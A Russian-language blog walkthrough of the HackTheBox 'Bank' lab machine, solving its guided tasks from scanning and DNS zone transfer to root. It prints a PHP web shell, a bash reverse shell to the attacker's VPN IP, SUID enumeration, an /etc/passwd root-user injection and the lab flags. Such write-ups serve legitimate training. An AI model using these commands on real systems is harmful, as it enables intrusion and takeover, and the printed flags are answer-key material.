Blog

Разбор HackTheBox – Bank (Easy)

Сложность:Easy
ОС:Linux
Баллы:20
IP:10.10.10.29
Теги:Directory Listing, EAR, Webshell, PHP, Linux System Files

В данном разборе в рамках знакомства с новым режимом решения уязвимых машин в формате последовательных заданий (Guided Mode) рассмотрим Bank.

Задание 1: Сколько TCP портов доступно у уязвимой машины “Bank”?

Проведём сканирование цели:

nmap -sCV -O -p- 10.10.10.29

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (96%), Linux 3.13 (96%), Linux 3.16 (96%), Linux 3.18 (96%), Linux 3.2 - 4.9 (96%), Linux 3.8 - 3.11 (96%), Linux 4.4 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 4.8 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ответ: 3 порта

Задание 2: Какой из виртуальных хостов отображает веб-страницу, отличающуюся от стандартной страницы Apache?

Давайте проверим что за страница доступна по IP машины и можно ли осуществить перенос зоны на порту 53 (domain).

Действительно, при доступе по IP получаем всего лишь страницу по-умолчанию Apache2.

Поскольку, машина называется Bank, можем попробовать осуществить перенос зоны с bank.htb

dig axfr bank.htb @10.10.10.29

Результат переноса зоны:

; <<>> DiG 9.18.16-1-Debian <<>> axfr bank.htb @10.10.10.29
;; global options: +cmd
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
bank.htb. 604800 IN NS ns.bank.htb.
bank.htb. 604800 IN A 10.10.10.29
ns.bank.htb. 604800 IN A 10.10.10.29
www.bank.htb. 604800 IN CNAME bank.htb.
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
;; Query time: 236 msec
;; SERVER: 10.10.10.29#53(10.10.10.29) (TCP)
;; WHEN: Thu Aug 17 14:46:56 MSK 2023
;; XFR size: 6 records (messages 1, bytes 171)

Добавим домен в /etc/hosts:

# HTB
10.10.10.29 bank.htb chris.bank.htb ns.bank.htb

Перейдём по ссылке http://bank.htb и проверим веб-страницу, которая отобразится:

Ответ: bank.htb

Задание 3: В какой директории на веб-сервере разрешён вывод списка каталогов(в этой директории содержится множество файлов формата .acc)?

Просканируем директории с помощью gobuster:

gobuster dir -u http://bank.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
/uploads (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/assets (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/server-status [Size: 403] [--> http://bank.htb/server-status/] 
/balance-transfer [Size: 301] [--> http://bank.htb/balance-transfer/]

/uploads перенаправляет на /uploads/, доступ к которому закрыт (403).

/assets перенаправляет на /assets/, в котором не содержатся указанные в задании файлы формата .acc.

/inc перенаправляет на /inc/, в этом каталоге содержатся 4 PHP файла:

При попытке доступа к footer.php, header.php, ticket.php возвращаются пустые страницы. При попытке доступа к header.php нас перенаправляет на login.php, которого, если делать выводы по содержимому директории /inc нет.

/server-status возвращает 403 статус – доступ ограничен.

/balance-transfer является нужной директорией:

Ответ: /balance-transfer

Задание 4: Какой из файлов расширения .acc отличается от остальных?

Пример содержимого одного их файлов .acc:

Размеры этих файлов колеблются от 583 до 585, кроме одного размером 257: 68576f20e9732f1b2edc4df5b8533230.acc

Содержимое этого файла отличается, первая строчка указывает на то, что шифрование отчёта не удалось и заодно мы получили пароль от учётной записи: chris:!##HTBB4nkP4ssw0rd!##

Ответ: 68576f20e9732f1b2edc4df5b8533230.acc

Задание 5: Существует альтернативный путь обхода логин формы без поиска учётных данных. Что за уязвимость позволяет это осуществить? Выберете из SQLI, EAR, XSS, или XSRF.

При перехвате запроса к http://bank.htb/ заметим, что возвращается 302 статус перенаправления.

С помощью функции в Burp Suite Match and Replace (Proxy – Options – Match and Replace) подменим заголовок 302 Found на 200 OK, чтобы осуществить атаку EAR (игнорирование перенаправления для получения чувствительных данных авторизированных пользователей, Execution After Redirect):

Таким образом можно обойти авторизацию, получить доступ к данным внутри учётной записи и панели обратной связи support.php, обнаруженной ранее в Задании 3.

Ответ: EAR

Задание 6: Какое расширение файлов будет исполняться как PHP в целях отладки?

Авторизуемся в сервисе с помощью данных, полученных в Задании 4 (chris:!##HTBB4nkP4ssw0rd!##). Затем проанализируем исходный код страниц http://bank.htb/index.php и http://bank.htb/support.php

В исходном коде страницы support.php обнаружили комментарий:

Исходя из него следует, что в целях отладки приложения загруженные файлы формата .htb будут исполняться как PHP.

Ответ: htb

Задание 7: Под каким пользователем запущен веб-сервер?

Исходя из предыдущего пункта мы можем загрузить простейший PHP-shell заменив расширения для обхода запрета на загрузку файлов формата PHP, загрузив файл с кодом шелла на PHP в формате .htb. Создадим локально файл cmd.htb со следующим содержимым и приложим его к новому тикету в разделе Support:

<?php system($_REQUEST["cmd"]); ?>

Успешно загрузив шелл, попробуем получить доступ к нему:

Ответ: www-data

Задание 8: Сдайте флаг, находящийся в домашней директории пользователя chris.

Воспользуемся загруженным веб-шеллом для получения доступа на машину. Откроем порт 7331 с помощью Netcat: nc -nvlp 7331

Передадим загруженному веб-шеллу следующее значение параметра cmd:

bash -c "bash -i >& /dev/tcp/your_VPN_IP/7331 0>&1"

Получили интерактивный шелл, а вместе с этим и флаг!

Ответ: ba03b56723d9bda6f566bb5e2151f09d

Задание 9 и 10: Укажите полный путь до нестандартного бинарного файла, в котором установлен SetUID таким образом, что этот бинарный файл исполняется от пользователя root. Получите флаг пользователя root.

Для поиска бинарных файлов с установленным битом SUID можно воспользоваться следующей командой:

find / -type f -user root -perm -4000 2>/dev/null

В списке нестандартных SUID бинарных файлов выделяется следующий: /var/htb/bin/emergency.

Проверим как работает этот бинарный файл. Как выяснилось после его запуска – он присваивает текущему пользователю euid=(root), что позволяет исполнять команды с правами root.

Получили ответы на 9 и 10 вопросы (пусть до нестандартного бинарного файла и флаг root)

Ответ 9: /var/htb/bin/emergency

Ответ 10: 2330edc10372d9f2d00be56e476863b0

Задание 11: Существует альтернативный способ получения доступа к root. Какой полный путь к критически важному системному файлу ОС Linux, у которого не должно быть прав на изменение пользователями с низким уровнем прав (сервисные учётные записи)?

Когда мы говорим о важных системных файлах в ОС Linux в первую очередь на ум приходят два файла: /etc/passwd – файл, содержащий список учётных записей пользователей и /etc/shadow – содержащий зашифрованные пароли всех учётных записей.

Если вывести информацию о правах на чтение, исполнение и запись этих файлов, то можно заметить, что любой пользователь может осуществлять запись в /etc/passwd:

В современных ОС Linux осталась особенность старых версий, в которых зашифрованный пароль учётной записи хранился не в отдельном файле, доступном для чтения только пользователем root, а в файле /etc/passwd, а поскольку мы имеем права на запись – можем добавить свою запись с домашней директорией /root. Сгенерируем пароль и сформируем новую запись в файле, который хранит данные о учётных записях:

openssl passwd -1 test123

Добавим строчку любым удобным нам методом:

newroot:$1$5sNvhw1D$/a.8ksIuTe73G2jmFrnMw0:0:0:comment:/root:/bin/bash

Далее, с помощью команды su newroot получаем доступ к созданному пользователю.

Далее, с помощью команды su newroot получаем доступ к созданному пользователю.

Ответ: /etc/passwd